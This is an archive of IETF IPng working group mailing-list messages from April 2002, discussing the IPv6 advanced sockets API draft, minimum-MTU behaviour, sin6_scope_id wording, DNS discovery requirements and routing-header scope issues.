engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHgxGs004356 for ; Mon, 22 Apr 2002 10:42:59 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA12810 for ; Mon, 22 Apr 2002 09:51:37 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17263 for ; Mon, 22 Apr 2002 10:51:36 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1041::6]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3MGpVo68944 for ; Tue, 23 Apr 2002 01:51:32 +0900 (JST) Date: Tue, 23 Apr 2002 01:51:41 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: new rfc2292bis draft User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 97 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk As some of you have already noticed, I submitted a new version of the advanced API (rfc2292bis) draft. The only change (other than minor wording nits) is as follows: - Revised the "minimum MTU" section so that path MTU discovery would be disabled for multicast by default. A new (default) value "-1" as an argument was introduced accordingly. (from Change History section) To be more accurate, I've attached the whole section at the end of this message. I believe the change was based on the consensus on the list and we can proceed to the next step with this version, but if you see any problems please let me know. Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp p.s. I've also implemented the change in the latest snapshot of our implementation. 11.1. Sending with the Minimum MTU Unicast applications should usually let the kernel perform path MTU discovery, as long as the kernel support it, and should not care about the path MTU. Some applications, however, might not want to incur the overhead of path MTU discovery, especially if the applications only send a single datagram to a destination. A potential example is a DNS server. Also, path MTU discovery for multicast has severe scalability limitations and should thus be avoided by default. Applications sending multicast traffic should explicitly enable path MTU discovery only when they understand that the benefit of possibly larger MTU usage outweights the possible impact of MTU discovery for active sources across the delivery tree(s). This default behavior is based on today's available MTU path discovery mechanism and may change in the future once better scalable mechanisms are sufficiently ubiquitously available. This specification defines a mechanism to avoid path MTU discovery by sending at the minimum IPv6 MTU [RFC-2460]. If the packet is larger than the minimum MTU and this feature has been enabled the IP layer will fragment to the minimum MTU. To control the policy about path MTU discovery, applications can use the IPV6_USE_MIN_MTU socket draft-ietf-ipngwg-rfc2292bis-07.txt [Page 45] INTERNET-DRAFT Advanced Sockets API for IPv6 Apr. 19, 2002 option. As described above, the default policy should depend on whether the destination is unicast or multicast. For unicast destinations path MTU discovery should be performed by default. For multicast destinations path MTU discovery should be disabled by default. This option thus takes the following three types of integer arguments: -1: Perform path MTU discovery for unicast destinations but do not perform it for multicast destinations. Packets to multicast destinations are therefore sent with the minimum MTU. 0: always perform path MTU discovery. 1: always disable path MTU discovery and send packets at the minimum MTU. The default value of this option is -1. Values other than -1, 0, and 1 are invalid, and an error EINVAL will be returned for those values. As an example, if a unicast application intentionally wants to disable path MTU discovery, it will add the following lines: int on = 1; setsockopt(fd, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &on, sizeof(on)); Note that this API intentionally excludes the case where the application wants to perform path MTU discovery for multicast but to disable it for unicast. This is because such usage is not feasible considering a scale of performance issues around whether to do path MTU discovery or not. When path MTU discovery makes sense to a destination but not to a different destination, regardless of whether the destination is unicast or multicast, applications either need to toggle the option between sending such packets on the same socket, or use different sockets for the two classes of destinations. This option can also be sent as ancillary data. In the cmsghdr structure containing this ancillary data, the cmsg_level member will be IPPROTO_IPV6, the cmsg_type member will be IPV6_USE_MIN_MTU, and the first byte of cmsg_data[] will be the first byte of the integer. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 11:02:52 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI2oGs004913; Mon, 22 Apr 2002 11:02:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MI2nSV004910; Mon, 22 Apr 2002 11:02:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI1rHu004662 for ; Mon, 22 Apr 2002 11:02:10 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA17180 for ; Mon, 22 Apr 2002 03:30:07 -0700 (PDT) Received: from indica.wipsys.stph.net ([203.197.249.146]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA21571 for ; Mon, 22 Apr 2002 03:30:06 -0700 (PDT) Received: from hdcvwall.wipro.com (hdcvwall.wipro.com [192.168.150.24]) by indica.wipsys.stph.net (8.11.6/8.11.6) with SMTP id g3MASt723027 for ; Mon, 22 Apr 2002 15:58:55 +0530 (IST) Received: from hdcvwall.wipro.com ([192.168.150.24]) by vindhya.mail.wipro.com (Netscape Messaging Server 4.15) with SMTP id GUYT5Y00.GI8 for ; Mon, 22 Apr 2002 15:59:58 +0530 Received: from laxeri31431 ([192.168.250.5]) by lbmail.mail.wipro.com (Netscape Messaging Server 4.15) with ESMTP id GUYT5X00.JEK for ; Mon, 22 Apr 2002 15:59:57 +0530 Message-ID: <019a01c1e9e8$ce67fb10$9e3210ac@laxeri31431> From: "Srinivasa Rao Nalluri" To: "'IPng List'" References: <4DA6EA82906FD511BE2F00508BCF053802C6AC97@Esealnt861.al.sw.ericsson.se> Subject: Why fragmentation is prevented at intermediate routers in IPv6? Date: Mon, 22 Apr 2002 16:01:04 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-b90db6de-55b8-11d6-84a6-0000e2293f7c" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPartTM-000-b90db6de-55b8-11d6-84a6-0000e2293f7c Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi In IPv6 fragmentation is prevented by intermediate routers. Only sender can fragment IP packet. Why so? Do we have any extra advantage because of this. Regards Nalluri ------=_NextPartTM-000-b90db6de-55b8-11d6-84a6-0000e2293f7c Content-Type: text/plain; name="Wipro_Disclaimer.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Wipro_Disclaimer.txt" **************************Disclaimer************************************ Information contained in this E-MAIL being proprietary to Wipro Limited is 'privileged' and 'confidential' and intended for use only by the individual or entity to which it is addressed. You are notified that any use, copying or dissemination of the information contained in the E-MAIL in any manner whatsoever is strictly prohibited. ***************************************************************************** ------=_NextPartTM-000-b90db6de-55b8-11d6-84a6-0000e2293f7c-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 11:05:25 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI5PGs005141; Mon, 22 Apr 2002 11:05:25 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MI5PmE005140; Mon, 22 Apr 2002 11:05:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI5LGs005130 for ; Mon, 22 Apr 2002 11:05:21 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA16165 for ; Mon, 22 Apr 2002 11:05:21 -0700 (PDT) Received: from zcamail04.zca.compaq.com (zcamail04.zca.compaq.com [161.114.32.104]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23137 for ; Mon, 22 Apr 2002 11:05:21 -0700 (PDT) Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by zcamail04.zca.compaq.com (Postfix) with ESMTP id 98EC817E7 for ; Mon, 22 Apr 2002 11:09:33 -0700 (PDT) Received: from anw.zk3.dec.com (alpha.zk3.dec.com [16.140.128.4]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id 2F79418AD for ; Mon, 22 Apr 2002 14:05:19 -0400 (EDT) Received: by anw.zk3.dec.com (8.9.3/1.1.22.2/08Sep98-0251PM) id OAA0001327724; Mon, 22 Apr 2002 14:05:18 -0400 (EDT) Date: Mon, 22 Apr 2002 14:05:18 -0400 (EDT) From: Jack McCann Message-Id: <200204221805.OAA0001327724@anw.zk3.dec.com> To: ipng@sunroof.eng.sun.com Subject: Re: sockaddr_in6::sin6_scope_id use Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >The current basic socket enhancements draft >(draft-ietf-ipngwg-2553bis-05.txt) specifies that this 32-bit integer >"identifies a set of interfaces". More specifically, a "interface index" >for a link-local scope sin6_addr, or a "site identifier" for a site-local >sin6_addr. (section 3.3) (More thoughts follow, in the draft, with no >mention of zones or zoneid.) This got fixed in IEEE Std 1003.1-2001, which says: The sin6_scope_id field is a 32-bit integer that identifies a set of interfaces as appropriate for the scope of the address carried in the sin6_addr field. For a link scope sin6_addr, the application shall ensure that sin6_scope_id is a link index. For a site scope sin6_addr, the application shall ensure that sin6_scope_id is a site index. The mapping of sin6_scope_id to an interface or set of interfaces is implementation-defined. but I missed it when I did the 1003.1 alignment edits in 2553bis-04. 2553bis should say a "link index" for a link-local scope sin6_addr, or a "site index" for a site-local sin6_addr. - Jack -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 11:07:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI6xHa005251; Mon, 22 Apr 2002 11:07:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MI3Btk004938; Mon, 22 Apr 2002 11:03:11 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI24Hi004727 for ; Mon, 22 Apr 2002 11:02:28 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA23110 for ; Mon, 22 Apr 2002 06:52:36 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA10762 for ; Mon, 22 Apr 2002 06:52:36 -0700 (PDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3MDqPW01016; Mon, 22 Apr 2002 06:52:25 -0700 (PDT) From: Bill Manning Message-Id: <200204221352.g3MDqPW01016@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC96@Esealnt861.al.sw.ericsson.se> from Hesham Soliman at "Apr 22, 2 12:17:22 pm" To: hesham.soliman@era.ericsson.se (Hesham Soliman) Date: Mon, 22 Apr 2002 06:52:25 -0700 (PDT) Cc: hesham.soliman@era.ericsson.se, bmanning@ISI.EDU, t.yamasaki@ntt.com, john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % > % % > % Yes, there are security issues, but no worse than % > non-well-known address % > % methods. % > % > hogwash. if one expects DNS servers to always be available % > at, for example, fe80:dead:beef::53, then -anyone- can make % > a server available at that address, not just the site admin. % % => Ah, and if you always expect a relay agent to be % available at a reserve link local address, anyone % can hijack this address. The same goes for any % reserved address until ND is secured. % As for the site-local address for DNS discovery, % yes you can install a server on that address, % but how do you reach it? Hopefully not anyone % can inject a route for it, otherwise we're % in much deeper trouble than hijacking a DNS % address. % % Hesham % How easy is it to turn an IPv6 node into an IPv6 router? -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 11:07:21 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI6xHi005251; Mon, 22 Apr 2002 11:07:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MHkMQM004490; Mon, 22 Apr 2002 10:46:22 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHkCGs004462 for ; Mon, 22 Apr 2002 10:46:12 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA10756 for ; Mon, 22 Apr 2002 08:43:35 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA22289 for ; Mon, 22 Apr 2002 09:43:34 -0600 (MDT) Received: from rdroms-w2k.cisco.com (ch2-dhcp150-93.cisco.com [161.44.150.93]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA27426 for ; Mon, 22 Apr 2002 11:43:32 -0400 (EDT) Message-Id: <4.3.2.7.2.20020421073905.00b8e5d0@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 22 Apr 2002 11:43:28 -0400 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thanks, Bob, for writing a draft doc on DNS Discovery requirements. We need something concrete to center this discussion. So, here are some discussion points around the draft doc... Is a server-less solution the best solution for DNS Discovery? ============================================================== The requirements statement starts off with the same premise as the DNS Discovery team: "server-less" (as the term is defined in the doc) operation is a design requirement. The DNS Discovery team report stated "It is a further requirement that the above information be obtained without using a DHCP server." The issue with the DNS Design Team analysis and the recommended DNS discovery mechanism is not "is this the best server-less solution"; rather, the issue is "is this best server-less solution the best solution" or "do we need this best server-less solution". Bob's requirements will give us another answer to "is this the best server-less solution" and won't answer the question of whether the server-less solution is needed. So, we should either: * throw out the requirement for a server-less solution and find the best solution; or, * do an apriori analysis to confirm that a server-less solution is fundamentally required; or, * have and end-game analysis of "best server-less" solution vs. server-ful solution and decide if we need both Do we need a server-less solution for every IPv6 configuration problem? ================================================ I read an unstated assumption in the first sentence, "IPv6 provides two approaches to basic IPv6 configuration." that server-less and server-ful configuration are two mutually exclusive, stovepipe approaches, where both alternatives must be provided for each component of basic configuration. I believe we've shown that server-less configuration for IPv6 addresses is useful and a solved problem. It may be the only required solution - I can suppose situations in which address assignment might require constraint and control, but we don't have any deployment experience that proves such a requirement. But a solution to server-less configuration of IPv6 addresses does not imply that a solution to server-less configuration of routing information, DNS resolution and other basic configuration is a good idea or even possible. I think we should be careful to consider each type of configuration separately to make sure we're generating useable solutions to real problems. Server-less DNS Discovery or server-less DNS resolution? ======================================================== Just to be careful - the basic requirement in Bob's draft requirements is "to provide a server-less mechanism to enable a host to learn the address of an DNS server." This is a more stringent requirement than to provide a server-less mechanism to perform DNS resolution. I would say that the most recent "Stateless DNS Discovery" mechanism does *not* meet the requirement laid out in Bob's requirements statement. A host using the Level 1 compliance mechanism defined in does not find the address of an arbitrary DNS server. Rather, the host can do DNS resolution in a site that has specifically configured its network routing and DNS infrastructure to support DNS resolution through the well-known DNS server addresses. Scope of required information for DNS Discovery ================================================ Others have pointed out the a device using DNSSEC may need NTP. The requirements should be expanded to read something like "learn the address of a DNS server and any other servers required for use of DNS". At 04:23 PM 4/17/2002 -0700, you wrote: >I took a cut at a requirements statement for IPv6 DNS Discovery. Comments >are appreciated. > >Thanks, >Bob > >---------------------- > >IPv6 DNS Discovery Requirements Statement > >IPv6 provides two approaches to basic IPv6 configuration. One is >server-less and is defined in IPv6 Neighbor Discover [RFC2461] and the >IPv6 Stateless Address Autoconfiguration [RFC2462]. The other is server >oriented and is defined in DHCPv6 [dhcpv6 id]. IPv6 Neighbor Discovery >includes flags to direct an IPv6 host to use either approach. > >In order for an IPv6 host to communicate on the Internet it needs an IPv6 >address, IPv6 prefix for the link it is attached, default router address, >and a DNS server address. This information allows the host to use basic >internet services like the web, email, file transfer, etc. > >The server-less approach currently provides mechanisms for the IPv6 host >to learn an address, IPv6 prefix for the link, and default router address, >but does not provide any mechanism for the IPv6 host to learn any DNS >information. Without any DNS information the IPv6 host can not use basic >internet services with out some other kind of configuration (except by the >user typing in literal IPv6 addresses). Requiring users to enter literal >IPv6 addresses in difficult in IPv6 given the size of the addresses. > >The basic requirement for IPv6 DNS Discovery is to provide a server-less >mechanism to enable a host to learn the address of an DNS server. This >will complete the IPv6 server-less configuration mechanisms. > >For this requirement, Server-less is defined to mean the DNS information >is learned with out any dependence on resources other than are needed >(i.e., links, interfaces, routers, and DNS server) to communicate with the >DNS server. > >IPv6 DNS Discovery should work inside of a single site where the DNS >servers are in the site and between sites where the DNS servers and hosts >are located in different sites (e.g., small home office where DNS servers >are in the ISP's network). > >It is also desirable to learn other related DNS information such as >default DNS for the IPv6 host, search path, LLMNR enabled flag, etc. in a >server-less manner. > >Desirable aspects of a solution the meets these requirements include: > > - Minimal changes to existing implementations > - A solution that could be standardized in a short amount of time. > - Minimal use of bandwidth > > >References > >[DHCPv6] J. Bound, et. al., Dynamic Host Configuration Protocol for IPv6 > (DHCPv6), Internet Draft, , > February 2002. > >[RFC2461] T. Narten, et. al., Neighbor Discovery for IP Version 6 (IPv6), > RFC2461, December 1998. > >[RFC2462] S. Thomson, et. al., IPv6 Stateless Address Autoconfiguration, > RFC2462, December 1998. > > > > > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 11:07:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI6xHY005251; Mon, 22 Apr 2002 11:07:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MHqhW3004571; Mon, 22 Apr 2002 10:52:43 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHmiH4004514 for ; Mon, 22 Apr 2002 10:52:32 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA17600 for ; Mon, 22 Apr 2002 04:22:08 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA29223 for ; Mon, 22 Apr 2002 05:22:08 -0600 (MDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21447; Mon, 22 Apr 2002 07:22:05 -0400 (EDT) Message-Id: <200204221122.HAA21447@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipngwg-rfc2292bis-07.txt Date: Mon, 22 Apr 2002 07:22:04 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Advanced Sockets API for IPv6 Author(s) : R. Stevens, M. Thomas, E. Nordmark, T. Jinmei Filename : draft-ietf-ipngwg-rfc2292bis-07.txt Pages : 81 Date : 19-Apr-02 A separate specification [RFC-2553] contain changes to the sockets API to support IP version 6. Those changes are for TCP and UDP-based applications and will support most end-user applications in use today: Telnet and FTP clients and servers, HTTP clients and servers, and the like. But another class of applications exists that will also be run under IPv6. We call these 'advanced' applications and today this includes programs such as Ping, Traceroute, routing daemons, multicast routing daemons, router discovery daemons, and the like. The API feature typically used by these programs that make them 'advanced' is a raw socket to access ICMPv4, IGMPv4, or IPv4, along with some knowledge of the packet header formats used by these protocols. To provide portability for applications that use raw sockets under IPv6, some standardization is needed for the advanced API features. There are other features of IPv6 that some applications will need to access: interface identification (specifying the outgoing interface and determining the incoming interface) and IPv6 extension headers that are not addressed in [RFC-2553]: The Routing header (source routing), Hop-by-Hop options, and Destination options. This document provides API access to these features too. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-rfc2292bis-07.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipngwg-rfc2292bis-07.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipngwg-rfc2292bis-07.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020419141102.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipngwg-rfc2292bis-07.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipngwg-rfc2292bis-07.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020419141102.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 11:07:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI6xHW005251; Mon, 22 Apr 2002 11:07:17 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MI32YI004925; Mon, 22 Apr 2002 11:03:02 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MI24HO004727 for ; Mon, 22 Apr 2002 11:02:17 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA01498 for ; Mon, 22 Apr 2002 08:45:27 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA23306 for ; Mon, 22 Apr 2002 09:45:25 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g3MFjN005790 for ; Mon, 22 Apr 2002 18:45:23 +0300 Date: Mon, 22 Apr 2002 18:45:22 +0300 (EEST) From: Pekka Savola To: ipng@sunroof.eng.sun.com Subject: scoping-arch and link-local addresses in RH Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, Elena Vengerova , in an email exchange, brought up some need for clarifications wrt. scoped addresses and routing header. This made me look deeper in to the scoping arch document. A few comments: 9. Forwarding [...] o After the next-hop interface is chosen, the zone of the source address is considered. As with the destination address, the zone of the source address is determined by the scope of the address and arrival interface of the packet. If transmitting the packet on the chosen next-hop interface would cause the packet to leave the zone of the source address, i.e., cross a zone boundary of the scope of the source address, then the packet is discarded and an ICMP Destination Unreachable message [RFC 2463] with Code 2 ("beyond scope of source address") is sent to the source of the packet. ==> Note the wording about crossing zone boundary w/ source address. [...] A node that receives a packet addressed to itself and containing a Routing Header with more than zero Segments Left [RFC 2460, section 4.4] swaps the original destination address with the next address in the Routing Header. Then the above forwarding rules are applied, using the new destination address where the zone of the new destination address should be determined by the scope of the previous destination address and the interface to which the previous address belongs (which is not necessarily equal to the incoming interface). An implementation MUST NOT examine additional addresses in the Routing header to determine whether they are crossing boundaries for their scopes. Thus, it is possible, though generally inadvisable, to use a Routing Header to convey a non-global address across its associated zone boundary. ==> Wow, a 5-line sentence :-). Anyway, my imagination is failing here what kind of non-global addresses can be placed in the routing header? There may be a conflict with the previous comment there. E.g are you able to send a packet like: src=global1 dst=globalA routing header=site_localA, segments left=1 which would be translated at globalA to: src=global1 dst=site_localA routing header=globalA, segments left=0 ? I think we need to have a much much more clearer view of what is possible and what is not when crossing zone boundaries with routing headers. 14. Security Considerations The routing section of this document specifies a set of guidelines that allow routers to prevent zone-specific information from leaking out of each site. If site boundary routers allow site routing information to be forwarded outside of the site, the integrity of the site could be compromised. ==> Security considerations should mention potential problems of crossing zone boundaries w/ routing headers. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 13:33:15 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MKXFGs007542; Mon, 22 Apr 2002 13:33:15 -0700 (PDT) 